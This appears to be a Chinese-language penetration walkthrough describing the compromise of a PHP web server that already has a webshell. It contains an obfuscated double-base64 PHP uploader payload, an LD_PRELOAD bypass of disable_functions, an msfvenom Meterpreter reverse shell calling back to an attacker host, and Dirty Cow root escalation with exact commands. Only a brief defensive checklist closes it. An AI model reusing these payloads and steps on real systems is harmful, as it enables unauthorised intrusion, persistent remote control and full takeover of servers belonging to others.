记脚本小子的一次渗透全过程
字数 1622 2025-08-26 22:11:29
基于LD_PRELOAD绕过disable_functions的渗透技术详解
一、渗透背景与前期准备
1.1 初始条件
- 已获取目标服务器Webshell权限(一句话木马)
- 目标服务器PHP环境配置了disable_functions限制系统命令执行
- 具备文件上传能力(通过PHP代码写入文件)
1.2 关键工具准备
- 上传马(用于写入Webshell)
- 大马(297.php,用于更便捷的文件管理)
- LD_PRELOAD绕过工具(来自github.com/zhinaonet/bypass_disablefunc_via_LD_PRELOAD)
- Metasploit框架(用于生成和监听反弹shell)
- Dirty Cow提权工具(来自github.com/FireFart/dirtycow)
二、详细渗透流程
2.1 初始Webshell利用
使用以下PHP代码写入上传马(shell.php):
?a=fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(base64_decode(UEQ5d2FIQWdEUXBBSkhSbGJYQWdQU0FrWDBaSlRFVlRXeWQxY0d4dllXUmZabWxzWlNkZFd5ZDBiWEJmYm1GdFpTZGRPdzBLUUNSbWFXeGxJRDBnWW1GelpXNWhiV1VvSkY5R1NVeEZVMXNuZFhCc2IyRmtYMlpwYkdVblhWc25ibUZ0WlNkZEtUc05DbWxtSUNobGJYQjBlU0FvSkdacGJHVXBLWHNOQ21WamFHOGdJanhtYjNKdElHRmpkR2x2YmlBOUlDY25JRzFsZEdodlpDQTlJQ2RRVDFOVUp5QkZUa05VV1ZCRlBTZHRkV3gwYVhCaGNuUXZabTl5YlMxa1lYUmhKejVjYmlJN1pXTm9ieUFpVEc5allXd2dabWxzWlRvZ1BHbHVjSFYwSUhSNWNHVWdQU0FuWm1sc1pTY2dibUZ0WlNBOUlDZDFjR3h2WVdSZlptbHNaU2MrWEc0aU8yVmphRzhnSWp4cGJuQjFkQ0IwZVhCbElEMGdKM04xWW0xcGRDY2dkbUZzZFdVZ1BTQW5WWEJzYjJGa0p6NWNiaUk3WldOb2J5QWlQQzltYjNKdFBseHVQSEJ5WlQ1Y2JseHVQQzl3Y21VK0lqdDlaV3h6WlNCN2FXWW9iVzkyWlY5MWNHeHZZV1JsWkY5bWFXeGxLQ1IwWlcxd0xDUm1hV3hsS1NsN1pXTm9ieUFpUm1sc1pTQjFjR3h2WVdSbFpDQnpkV05qWlhOelpuVnNiSGt1UEhBK1hHNGlPMzFsYkhObElIdGxZMmh2SUNKVmJtRmliR1VnZEc4Z2RYQnNiMkZrSUNJZ0xpQWtabWxzWlNBdUlDSXVQSEErWEc0aU8zMTlQejQ9)));
2.2 上传大马并确认限制
- 通过上传马(shell.php)上传297.php大马
- 发现无法执行系统命令,通过phpinfo()确认disable_functions限制
2.3 绕过disable_functions
使用LD_PRELOAD技术绕过:
- 从github下载bypass_disablefunc_via_LD_PRELOAD工具
- 上传bypass.php文件到服务器
- 通过bypass.php执行系统命令,格式:
bypass.php?cmd=要执行的命令&outpath=输出路径&sopath=so文件路径
2.4 建立反弹shell
- 使用ngrok进行内网穿透(如需)
- 使用msfvenom生成Linux反弹shell:
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=your_ip LPORT=10017 -f elf > shell.elf - 设置Metasploit监听:
use exploit/multi/handler set PAYLOAD linux/x64/meterpreter_reverse_tcp set LHOST 192.168.1.170 set LPORT 4444 run - 上传shell.elf到目标服务器并赋予执行权限:
chmod +x shell.elf ./shell.elf
2.5 提权操作
- 检查内核版本是否在Dirty Cow漏洞影响范围内
- 下载并编译Dirty Cow提权exp:
gcc -pthread dirty.c -o dirty -lcrypt ./dirty - 遇到"Standard in must be a tty"错误时,使用Python绕过:
python -c 'import pty; pty.spawn("/bin/sh")' su firefart - 输入生成的密码完成提权
三、关键技术点详解
3.1 LD_PRELOAD绕过原理
- 利用Linux动态链接库加载机制
- 通过LD_PRELOAD环境变量优先加载自定义的共享库
- 劫持系统函数调用(如mail()函数使用的系统调用)
- 在自定义库中执行恶意代码
3.2 Dirty Cow漏洞利用
- 影响Linux内核2.6.22-3.9版本
- 利用竞态条件修改只读内存映射
- 可用于修改/etc/passwd等关键文件
- 编译后执行会创建一个新用户(firefart)并赋予root权限
3.3 反弹shell建立技巧
- 选择与目标系统匹配的payload(linux/x64)
- 确保监听端口不被防火墙阻挡
- 使用内网穿透工具解决无公网IP问题
- 上传后务必赋予可执行权限
四、防御建议
4.1 针对LD_PRELOAD绕过的防御
- 禁用危险PHP函数(如dl())
- 限制PHP执行外部程序的能力
- 使用open_basedir限制PHP访问范围
- 定期更新PHP版本和安全补丁
4.2 针对提权的防御
- 及时更新内核补丁
- 限制非特权用户的编译权限
- 监控/etc/passwd等关键文件的修改
- 使用SELinux等安全模块
4.3 整体安全建议
- 定期审计Web应用代码
- 限制文件上传功能
- 实施最小权限原则
- 建立完善的日志监控系统
五、参考资源
- LD_PRELOAD绕过工具:https://github.com/zhinaonet/bypass_disablefunc_via_LD_PRELOAD
- Dirty Cow漏洞利用:https://github.com/FireFart/dirtycow
- Metasploit官方文档:https://www.metasploit.com/
- PHP安全配置指南:https://www.php.net/manual/en/security.php